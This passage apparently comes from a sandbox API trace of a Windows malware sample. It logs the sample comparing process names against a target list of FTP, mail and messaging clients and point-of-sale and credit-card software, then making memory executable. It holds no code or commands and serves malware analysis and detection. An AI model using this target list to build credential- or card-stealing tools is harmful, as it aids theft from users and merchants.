CodePage=0x3, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe\x1e\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 11 [0166.237] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 12 [0166.238] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exee\\é}\x1eHøÓ\x1f\r", lpUsedDefaultChar=0x0) returned 11 [0166.238] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="OfficeClickToRun.exe", cchWideChar=20, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeClickToRun.exe\r", lpUsedDefaultChar=0x0) returned 20 [0166.238] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exeoRun.exe\r", lpUsedDefaultChar=0x0) returned 12 [0166.238] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exeeoRun.exe\r", lpUsedDefaultChar=0x0) returned 11 [0166.238] VirtualAlloc (lpAddress=0x1fd40000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd40000 [0166.238] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="OSPPSVC.EXE", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OSPPSVC.EXEeoRun.exe\r", lpUsedDefaultChar=0x0) returned 11 [0166.238] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc.exeEeoRun.exe\r", lpUsedDefaultChar=0x0) returned 10 [0166.238] VirtualFree (lpAddress=0x1fd40000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e7de928, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exeeoRun.exe\r", lpUsedDefaultChar=0x0) returned 11 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exeexeÌk\x02\x1f´é}\x1eèù}\x1e", lpUsedDefaultChar=0x0) returned 9 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=7, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsm.exexeexeÌk\x02\x1f´é}\x1eèù}\x1e", lpUsedDefaultChar=0x0) returned 7 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=12, lpMultiByteStr=0x1e7de9b4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer.exeess]`ëõà\x1c", lpUsedDefaultChar=0x0) returned 12 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="ONENOTEM.EXE", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ONENOTEM.EXEPøÓ\x1f´é}\x1eèù}\x1e", lpUsedDefaultChar=0x0) returned 12 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="insert_greenhouse_ks.exe", cchWideChar=24, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="insert_greenhouse_ks.exe", lpUsedDefaultChar=0x0) returned 24 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="kate.exe", cchWideChar=8, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kate.exereenhouse_ks.exe", lpUsedDefaultChar=0x0) returned 8 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="arthur foto.exe", cchWideChar=15, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arthur foto.exese_ks.exe", lpUsedDefaultChar=0x0) returned 15 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="incentives.exe", cchWideChar=14, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="incentives.exeese_ks.exe", lpUsedDefaultChar=0x0) returned 14 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="becamealbertacreates.exe", cchWideChar=24, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="becamealbertacreates.exe", lpUsedDefaultChar=0x0) returned 24 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="finally_disable_largely.exe", cchWideChar=27, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="finally_disable_largely.exe", lpUsedDefaultChar=0x0) returned 27 [0166.239] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="submit.exe", cchWideChar=10, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="submit.exesable_largely.exe", lpUsedDefaultChar=0x0) returned 10 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="quilt.exe", cchWideChar=9, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="quilt.exeesable_largely.exe", lpUsedDefaultChar=0x0) returned 9 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="schemealtwist.exe", cchWideChar=17, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schemealtwist.exeargely.exe", lpUsedDefaultChar=0x0) returned 17 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="dealervampire.exe", cchWideChar=17, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dealervampire.exeargely.exe", lpUsedDefaultChar=0x0) returned 17 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="exhibitions.exe", cchWideChar=15, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exhibitions.exexeargely.exe", lpUsedDefaultChar=0x0) returned 15 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="beneficialceramiccommodity.exe", cchWideChar=30, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beneficialceramiccommodity.exe", lpUsedDefaultChar=0x0) returned 30 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="loansthou.exe", cchWideChar=13, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loansthou.exeamiccommodity.exe", lpUsedDefaultChar=0x0) returned 13 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="agencies.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agencies.exeeamiccommodity.exe", lpUsedDefaultChar=0x0) returned 12 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="gross-mails.exe", cchWideChar=15, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gross-mails.exeiccommodity.exe", lpUsedDefaultChar=0x0) returned 15 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="frederick.exe", cchWideChar=13, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frederick.exexeiccommodity.exe", lpUsedDefaultChar=0x0) returned 13 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="surveillance.exe", cchWideChar=16, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="surveillance.execcommodity.exe", lpUsedDefaultChar=0x0) returned 16 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="3dftp.exe", cchWideChar=9, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3dftp.exence.execcommodity.exe", lpUsedDefaultChar=0x0) returned 9 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="absolutetelnet.exe", cchWideChar=18, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="absolutetelnet.exeommodity.exe", lpUsedDefaultChar=0x0) returned 18 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="alftp.exe", cchWideChar=9, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alftp.exeelnet.exeommodity.exe", lpUsedDefaultChar=0x0) returned 9 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="barca.exe", cchWideChar=9, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="barca.exeelnet.exeommodity.exe", lpUsedDefaultChar=0x0) returned 9 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="bitkinex.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitkinex.exeet.exeommodity.exe", lpUsedDefaultChar=0x0) returned 12 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coreftp.exe", cchWideChar=11, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coreftp.exeeet.exeommodity.exe", lpUsedDefaultChar=0x0) returned 11 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="far.exe", cchWideChar=7, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="far.exe.exeeet.exeommodity.exe", lpUsedDefaultChar=0x0) returned 7 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="filezilla.exe", cchWideChar=13, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filezilla.exet.exeommodity.exe", lpUsedDefaultChar=0x0) returned 13 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="flashfxp.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashfxp.exeet.exeommodity.exe", lpUsedDefaultChar=0x0) returned 12 [0166.240] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="fling.exe", cchWideChar=9, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fling.exeexeet.exeommodity.exe", lpUsedDefaultChar=0x0) returned 9 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="foxmailincmail.exe", cchWideChar=18, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="foxmailincmail.exeommodity.exe", lpUsedDefaultChar=0x0) returned 18 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="gmailnotifierpro.exe", cchWideChar=20, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gmailnotifierpro.exemodity.exe", lpUsedDefaultChar=0x0) returned 20 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="icq.exe", cchWideChar=7, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icq.exetifierpro.exemodity.exe", lpUsedDefaultChar=0x0) returned 7 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="leechftp.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="leechftp.exerpro.exemodity.exe", lpUsedDefaultChar=0x0) returned 12 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="ncftp.exe", cchWideChar=9, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ncftp.exeexerpro.exemodity.exe", lpUsedDefaultChar=0x0) returned 9 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="notepad.exe", cchWideChar=11, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad.exeerpro.exemodity.exe", lpUsedDefaultChar=0x0) returned 11 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="operamail.exe", cchWideChar=13, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="operamail.exepro.exemodity.exe", lpUsedDefaultChar=0x0) returned 13 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="outlook.exe", cchWideChar=11, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook.exexepro.exemodity.exe", lpUsedDefaultChar=0x0) returned 11 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="pidgin.exe", cchWideChar=10, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pidgin.exeexepro.exemodity.exe", lpUsedDefaultChar=0x0) returned 10 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="scriptftp.exe", cchWideChar=13, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scriptftp.exepro.exemodity.exe", lpUsedDefaultChar=0x0) returned 13 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="skype.exe", cchWideChar=9, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="skype.exe.exepro.exemodity.exe", lpUsedDefaultChar=0x0) returned 9 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="smartftp.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smartftp.exeepro.exemodity.exe", lpUsedDefaultChar=0x0) returned 12 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="thunderbird.exe", cchWideChar=15, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="thunderbird.exeo.exemodity.exe", lpUsedDefaultChar=0x0) returned 15 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="totalcmd.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="totalcmd.exeexeo.exemodity.exe", lpUsedDefaultChar=0x0) returned 12 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="trillian.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trillian.exeexeo.exemodity.exe", lpUsedDefaultChar=0x0) returned 12 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="webdrive.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webdrive.exeexeo.exemodity.exe", lpUsedDefaultChar=0x0) returned 12 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="whatsapp.exe", cchWideChar=12, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whatsapp.exeexeo.exemodity.exe", lpUsedDefaultChar=0x0) returned 12 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="winscp.exe", cchWideChar=10, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winscp.exexeexeo.exemodity.exe", lpUsedDefaultChar=0x0) returned 10 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="yahoomessenger.exe", cchWideChar=18, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yahoomessenger.exexemodity.exe", lpUsedDefaultChar=0x0) returned 18 [0166.241] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="active-charge.exe", cchWideChar=17, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active-charge.exeexemodity.exe", lpUsedDefaultChar=0x0) returned 17 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="accupos.exe", cchWideChar=11, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accupos.exege.exeexemodity.exe", lpUsedDefaultChar=0x0) returned 11 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="afr38.exe", cchWideChar=9, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afr38.exexege.exeexemodity.exe", lpUsedDefaultChar=0x0) returned 9 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="aldelo.exe", cchWideChar=10, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aldelo.exeege.exeexemodity.exe", lpUsedDefaultChar=0x0) returned 10 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="ccv_server.exe", cchWideChar=14, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ccv_server.exeexeexemodity.exe", lpUsedDefaultChar=0x0) returned 14 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="centralcreditcard.exe", cchWideChar=21, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="centralcreditcard.exeodity.exe", lpUsedDefaultChar=0x0) returned 21 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="creditservice.exe", cchWideChar=17, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="creditservice.exe.exeodity.exe", lpUsedDefaultChar=0x0) returned 17 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="edcsvr.exe", cchWideChar=10, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="edcsvr.exeice.exe.exeodity.exe", lpUsedDefaultChar=0x0) returned 10 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="fpos.exe", cchWideChar=8, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fpos.exexeice.exe.exeodity.exe", lpUsedDefaultChar=0x0) returned 8 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="isspos.exe", cchWideChar=10, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isspos.exeice.exe.exeodity.exe", lpUsedDefaultChar=0x0) returned 10 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="mxslipstream.exe", cchWideChar=16, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mxslipstream.exee.exeodity.exe", lpUsedDefaultChar=0x0) returned 16 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="omnipos.exe", cchWideChar=11, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="omnipos.exem.exee.exeodity.exe", lpUsedDefaultChar=0x0) returned 11 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="spcwin.exe", cchWideChar=10, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spcwin.exeem.exee.exeodity.exe", lpUsedDefaultChar=0x0) returned 10 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="spgagentservice.exe", cchWideChar=19, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spgagentservice.exexeodity.exe", lpUsedDefaultChar=0x0) returned 19 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="utg2.exe", cchWideChar=8, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="utg2.exeservice.exexeodity.exe", lpUsedDefaultChar=0x0) returned 8 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="announcementstudents.exe", cchWideChar=24, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="announcementstudents.exety.exe", lpUsedDefaultChar=0x0) returned 24 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="WINWORD.EXE", cchWideChar=11, lpMultiByteStr=0x1e7de96c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WINWORD.EXEtstudents.exety.exe", lpUsedDefaultChar=0x0) returned 11 [0166.242] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="fghvhghvgfdgfhchfg.exe", cchWideChar=22, lpMultiByteStr=0x1e7de9b4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fghvhghvgfdgfhchfg.exe", lpUsedDefaultChar=0x0) returned 22 [0166.242] VirtualFree (lpAddress=0x1fd34000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0166.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, 